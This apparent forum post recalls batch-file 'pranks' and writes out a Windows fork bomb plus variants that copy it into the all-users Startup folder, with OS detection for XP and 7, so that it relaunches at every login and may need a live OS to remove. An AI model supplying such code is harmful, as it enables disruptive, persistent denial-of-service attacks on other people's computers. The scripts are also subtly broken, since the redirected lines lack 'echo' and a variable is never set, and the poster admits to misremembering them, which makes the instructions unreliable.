I remember doing a combination of batch and vbs pranks, even compiled them as EXE's very fun to do...
How my pranks worked:
1. Create batch file to do anything (for example lets say a fork bomb)
In batch it would look like this:
@echo off
:START
start a.bat
GOTO START
So what I would do INSTEAD (Win7 version):
@echo off > %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
:START >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
start a.bat >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
GOTO START >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
I would also use batch to create a VBS into start file. You can make it a little bit more intricate to make it cross platform (get which os then do a GOTO and label command for their specific operating system so if they do it on XP, Vista, 7, it doesn't matter
@echo off
ver | find "XP" > nul
if %ERRORLEVEL% == 0 goto winxp
echo %vers% | find "Windows 7" > nul
if %ERRORLEVEL% == 0 goto win7
:winXP
@echo off > %AllUsers%\Start Menu\Programs\Startup\a.bat
:STARTXP >> %AllUsers%\Start Menu\Programs\Startup\a.bat
start a.bat >> %AllUsers%\Start Menu\Programs\Startup\a.bat
GOTO STARTXP >> %AllUsers%\Start Menu\Programs\Startup\a.bat
:Win7
@echo off > %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
:START7 >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
start a.bat >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
GOTO START7 >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
It would look something like that.. Can't remember its been a while
NOTE:
If you run this batch file a bunch of cmd windows will open, if you run Windows 7 and you run the one that creates itself in startup, be sure to remove the file in startup first, otherwise you will need a live OS to fix it! (by simply deleting it)